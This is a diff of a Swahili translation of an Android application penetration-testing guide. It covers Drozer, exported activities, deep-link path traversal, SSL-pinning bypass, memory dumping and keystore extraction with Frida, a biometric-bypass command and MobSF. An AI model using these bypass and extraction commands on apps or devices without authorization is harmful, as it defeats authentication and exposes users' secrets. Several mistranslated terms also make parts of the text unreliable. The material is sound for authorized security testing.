faili.** -### Uchambuzi wa Msimbo wa Kawaida +### Uchambuzi wa Msimbo wa Kawaida wa Kiotomatiki -Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vinavyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu. +Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu. Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**. @@ -197,9 +197,9 @@ bypass-biometric-authentication-android.md ### Kazi Nyingine za Kuvutia -- **Utekelezaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Utekelezaji wa Msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Tuma SMS**: `sendTextMessage, sendMultipartTestMessage` -- **Kazi za asili** zilizotangazwa kama `native`: `public native, System.loadLibrary, System.load` +- **Kazi za Asili** zilizotangazwa kama `native`: `public native, System.loadLibrary, System.load` - [Soma hii kujifunza **jinsi ya kurudi nyuma kazi za asili**](reversing-native-libraries.md) ### **Hila Nyingine** @@ -230,20 +230,20 @@ Shukrani kwa muunganisho wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya #### Kutumia emulator -- [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda **x86** na **arm** vifaa, na kulingana na [**hii**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**toleo la hivi karibuni la x86** lina **unga mkono maktaba za ARM** bila kuhitaji emulator ya arm yenye polepole). +- [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda **x86** na **arm** vifaa, na kulingana na [**hii**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**toleo la hivi karibuni la x86** lina **unga mkono maktaba za ARM** bila kuhitaji emulator ya arm yenye kasi polepole). - Jifunze jinsi ya kuiseti kwenye ukurasa huu: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Toleo la Bure:** Toleo la Kibinafsi, unahitaji kuunda akaunti. _Inapendekezwa **kupakua** toleo **NA**_ _**VirtualBox** ili kuepuka makosa yanayoweza kutokea._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Toleo la Bure:** Toleo la Kibinafsi, unahitaji kuunda akaunti. _Inapendekezwa **kupakua** toleo **PAMOJA NA**_ _**VirtualBox** ili kuepuka makosa yanayoweza kutokea._) - [**Nox**](https://es.bignox.com) (Bure, lakini haunga mkono Frida au Drozer). > [!NOTE] -> Unapounda emulator mpya kwenye jukwaa lolote kumbuka kwamba kadri skrini inavyokuwa kubwa, ndivyo emulator itakavyokuwa polepole. Hivyo chagua skrini ndogo ikiwa inawezekana. +> Unapounda emulator mpya kwenye jukwaa lolote kumbuka kwamba kadri skrini inavyokuwa kubwa, ndivyo emulator itakavyokuwa polepole. Kwa hivyo chagua skrini ndogo ikiwa inawezekana. -Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kubofya kitufe kilichochorwa kwa rangi nyekundu katika picha ifuatayo: +Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kubofya kitufe kilichochorwa kwa rangi nyekundu kwenye picha ifuatayo: ![](<../../images/image (277).png>) @@ -257,20 +257,20 @@ Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **k 2. (Kuanzia Android 8.0) Chagua **Mfumo**. 3. Chagua **Kuhusu simu**. 4. Bonyeza **Nambari ya Ujenzi** mara 7. -5. Rudi nyuma na utapata **Chaguzi za Mwandamizi**. +5. Rudi nyuma na utaona **Chaguzi za Mwandamizi**. -> Mara tu unapofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\ -> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijani kwa kutumia MobSF uchambuzi wa kijani + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye. +> Mara tu umepofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\ +> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijani kwa kutumia uchambuzi wa kijani wa MobSF + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye. ### Kuvuja kwa Data zisizokusudiwa **Kumbukumbu** -Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji** hadharani, kwani inaweza kusababisha kuvuja kwa data nyeti. Zana [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa kufuatilia kumbukumbu za programu ili kubaini na kulinda taarifa nyeti. **Pidcat** inapendekezwa kwa urahisi wa matumizi na usomaji. +Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji** hadharani, kwani inaweza kusababisha kuvuja kwa data nyeti. Zana [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa ajili ya kufuatilia kumbukumbu za programu ili kubaini na kulinda taarifa nyeti. **Pidcat** inapendekezwa kwa urahisi wa matumizi na usomaji. > [!WARNING] > Kumbuka kwamba kuanzia **baada ya Android 4.0**, **programu zinaweza kufikia kumbukumbu zao tu**. Hivyo programu haziwezi kufikia kumbukumbu za programu nyingine.\ -> Hata hivyo, bado inapendekezwa **kutokufichua taarifa nyeti**. +> Hata hivyo, bado inapendekezwa **kutokuficha taarifa nyeti**. **Kuhifadhi Kumbukumbu za Nakala/Pasta** @@ -278,38 +278,38 @@ Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika **Kumbukumbu za Kuanguka** -Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kufichua kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama. +Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kuficha kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama. Kama pentester, **jaribu kuangalia kumbukumbu hizi**. -**Taarifa za Uchambuzi Zinatumwa kwa Vyama vya Tatu** +**Data za Uchambuzi Zinatumwa kwa Vyama vya Tatu** -Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inashauriwa **kuingilia trafiki ya programu** na kuangalia ikiwa kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu. +Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu. ### SQLite DBs Programu nyingi zitatumia **maktaba za ndani za SQLite** kuhifadhi taarifa. Wakati wa pentest angalia **maktaba** zilizoundwa, majina ya **meza** na **safu** na data yote **iliyohifadhiwa** kwa sababu unaweza kupata **taarifa nyeti** (ambayo itakuwa udhaifu).\ Maktaba zinapaswa kuwa katika `/data/data/the.package.name/databases` kama `/data/data/com.mwr.example.sieve/databases` -Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **neno la siri** ndani ya programu bado ni **udhaifu**. +Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nywila** ndani ya programu bado ni **udhaifu**. Taja meza kwa kutumia `.tables` na taja safu za meza kwa kufanya `.schema ` -### Drozer (Shughuli za Kutekeleza, Watoa Maudhui na Huduma) +### Drozer (Kuvunja Shughuli, Watoa Maudhui na Huduma) -Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini. .\ -Drozer ni chombo muhimu kwa **kufanya kazi za kutekeleza zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo. +Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\ +Drozer ni chombo muhimu kwa **kuvunja shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zinazofuata. -### Kutilia Mkazo Shughuli za Kutekeleza +### Kuvunja Shughuli Zilizotolewa -[**Soma hii ikiwa unataka kufreshi kile ni Shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +[**Soma hii ikiwa unataka kufreshi kile kilicho shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia. **Kupita Uthibitishaji** -Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.** +Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.** -[**Jifunze jinsi ya kutumia Drozer kutekeleza shughuli zilizotolewa.**](drozer-tutorial/index.html#activities) +[**Jifunze jinsi ya kuvunja shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities) Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb: @@ -318,7 +318,7 @@ Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF itagundua kama hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), inaonekana hii ni hatari tu katika toleo za zamani (API versions < 21). +**NOTE**: MobSF itagundua kama hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), kwa wazi hii ni hatari tu katika toleo za zamani (API versions < 21). > [!NOTE] > Kumbuka kwamba kupita kwa idhini si kila wakati udhaifu, itategemea jinsi kupita kunavyofanya kazi na ni taarifa gani zinazoonyeshwa. @@ -334,7 +334,7 @@ Ikiwa tapjacking haizuiwi, unaweza kutumia shughuli iliyosambazwa kufanya **mtum ### Kutumia Watoa Maudhui - Kufikia na kubadilisha taarifa nyeti [**Soma hii ikiwa unataka kukumbusha nini ni Mtoa Maudhui.**](android-applications-basics.md#content-provider)\ -Watoa maudhui kimsingi hutumiwa **kushiriki data**. Ikiwa programu ina watoa maudhui wanaopatikana unaweza kuwa na uwezo wa **kuchota taarifa nyeti** kutoka kwao. Pia ni ya kuvutia kujaribu **SQL injections** na **Path Traversals** kwani zinaweza kuwa na udhaifu. +Watoa maudhui kimsingi hutumiwa **kushiriki data**. Ikiwa programu ina watoa maudhui wanaopatikana unaweza kuwa na uwezo wa **kuchota taarifa nyeti** kutoka kwao. Pia ni muhimu kujaribu **SQL injections** na **Path Traversals** kwani zinaweza kuwa na udhaifu. [**Jifunze jinsi ya kutumia Watoa Maudhui na Drozer.**](drozer-tutorial/index.html#content-providers) @@ -351,12 +351,12 @@ Huduma kimsingi ni kitu ambacho **kinaweza kupokea data**, **kuchakata** na **ku [**Soma hii ikiwa unataka kukumbusha nini ni Vastika za Matangazo.**](android-applications-basics.md#broadcast-receivers)\ Kumbuka kwamba vitendo vya Vastika za Matangazo huanza katika njia `onReceive`. -Vastika ya matangazo itakuwa ikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\ +Vastika za matangazo zitakuwa zinangoja aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\ [**Jifunze jinsi ya kutumia Vastika za Matangazo na Drozer.**](#exploiting-broadcast-receivers) -### **Kutumia Mipango / Viungo vya Kina** +### **Kutumia Mipango / Viungo vya ndani** -Unaweza kutafuta viungo vya kina kwa mikono, ukitumia zana kama MobSF au scripts kama [hii](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Unaweza kutafuta viungo vya ndani kwa mikono, ukitumia zana kama MobSF au scripts kama [hii](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ Unaweza **kufungua** mpango ulioelezwa kwa kutumia **adb** au **brower**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] @@ -376,12 +376,12 @@ Ili kupata **code itakayotekelezwa katika App**, nenda kwenye shughuli inayoitwa **Sensitive info** -Kila wakati unapotafuta deeplink hakikisha kuwa **haipati data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!** +Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!** **Parameters in path** Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/). +Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la domain), **account takeover** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/). **More examples** @@ -390,41 +390,41 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w ### Transport Layer Inspection and Verification Failures - **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP. -- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), ikiruhusu washambuliaji kufungua data. -- **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile cookies za kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu. +- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data. +- **Kuenea kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu. #### Certificate Verification -Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia hatari, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina. +Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu mipangilio isiyo salama ya TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama inaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina. #### SSL Pinning -SSL Pinning ni kipimo cha usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti. +SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti. #### Traffic Inspection -Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hiki, trafiki iliyofichwa huenda isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti cha CA cha kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hiki, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti cha CA cha kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyofichwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea mwongozo huu**](make-apk-accept-ca-certificate.md). +Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Mipangilio ya Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Mipangilio ya Usalama wa Mtandao, [**rejelea mwaliko huu**](make-apk-accept-ca-certificate.md). #### Bypassing SSL Pinning Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya HTTPS. Njia mbalimbali zinapatikana kwa kusudi hili: -- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha upya, na hii haitafanya kazi kila wakati. +- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha mpya, na hii haitafanya kazi kila wakati. - Unaweza kutumia **Frida** (iliyozungumziwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (iliyofafanuliwa hapa chini) -- Ikiwa bado unafikiri kuna trafiki ambayo huwezi kukamata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF dynamic analysis** (iliyofafanuliwa hapa chini) +- Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Looking for Common Web Vulnerabilities -Ni muhimu pia kutafuta hatari za kawaida za wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza hatari hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine. +Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza udhaifu hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine. ### Frida -[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa ajili ya waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\ -**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukimbia kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\ +[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\ +**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati, kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\ Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida. - Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html) @@ -446,7 +446,7 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Hii itatoa kumbukumbu katika folda ya ./dump, na ndani yake unaweza kutumia grep na kitu kama: +Hii itatoa kumbukumbu katika folda ya ./dump, na humo unaweza kutumia grep na kitu kama: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` @@ -454,7 +454,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa mtumiaji wa root au mtu mwenye ufikiaji wa kimwili kwenye kifaa anaweza kuwa na uwezo wa kuiba data hii. -Hata kama programu imehifadhi tarehe katika keystore, data inapaswa kuwa imefungwa. +Hata kama programu imehifadhi data katika keystore, data inapaswa kuwa imefungwa. Ili kufikia data ndani ya keystore unaweza kutumia script hii ya Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash @@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Kwa kutumia script ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:** +Kwa kutumia script ya Frida ifuatayo inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -470,11 +470,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** itakuwa **upload** badala ya faili. +MobSF pia inakuwezesha **diff/Compare** uchambuzi na kuunganisha **VirusTotal** (utahitaji kuweka funguo zako za API katika _MobSF/settings.py_ na kuziwezesha: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** itapakiwa badala ya faili. -### Uchambuzi wa Kisaidizi wa Dynamic na MobSF +### Uchambuzi wa Kisaidizi wa Kijamii na MobSF -**MobSF** pia inaweza kuwa na msaada mkubwa kwa **uchambuzi wa dynamic** katika **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Kumbuka: Unahitaji **kuanzisha kwanza VM katika genymotion** na **kisha MobSF.**_\ -**MobSF dynamic analyser** inaweza: +**MobSF** pia inaweza kuwa na msaada mkubwa kwa **uchambuzi wa kisaidizi** katika **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Kumbuka: Unahitaji **kuanzisha kwanza VM katika genymotion** na **kisha MobSF.**_\ +**Mchambuzi wa kisaidizi wa MobSF** anaweza: -- **Dump data za programu** (URLs, logs, clipboard, picha za skrini ulizofanya, picha za skrini zilizofanywa na "**Exported Activity Tester**", barua pepe, hifadhidata za SQLite, faili za XML, na faili nyingine zilizoundwa). Hii yote inafanywa kiotomatiki isipokuwa kwa picha za skrini, unahitaji kubonyeza unapohitaji picha ya skrini au unahitaji kubonyeza "**Exported Activity Tester**" ili kupata picha za skrini za shughuli zote zilizofanywa. +- **Dump data za programu** (URLs, logi, clipboard, picha za skrini ulizofanya, picha za skrini zilizofanywa na "**Exported Activity Tester**", barua pepe, hifadhidata za SQLite, faili za XML, na faili nyingine zilizoundwa). Hii yote inafanywa kiotomatiki isipokuwa kwa picha za skrini, unahitaji kubonyeza unapohitaji picha ya skrini au unahitaji kubonyeza "**Exported Activity Tester**" ili kupata picha za skrini za shughuli zote zilizofanywa. - Kukamata **trafiki ya HTTPS** -- Kutumia **Frida** kupata **maelezo ya wakati wa utekelezaji** +- Kutumia **Frida** kupata **habari za wakati halisi** Kuanzia toleo la android **> 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kukamata** trafiki. Itakamata tu trafiki kutoka kwa programu iliyojaribiwa. **Frida** -Kwa kawaida, itatumia baadhi ya Scripts za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\ -MobSF pia inaweza **kuita shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti. +Kwa kawaida, itatumia baadhi ya Skripti za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\ +MobSF pia inaweza **kuitisha shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti. -Ili **kuanza** upimaji wa dynamic bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logs zinazozalishwa na scripts za Frida na "**Live API Monitor**" 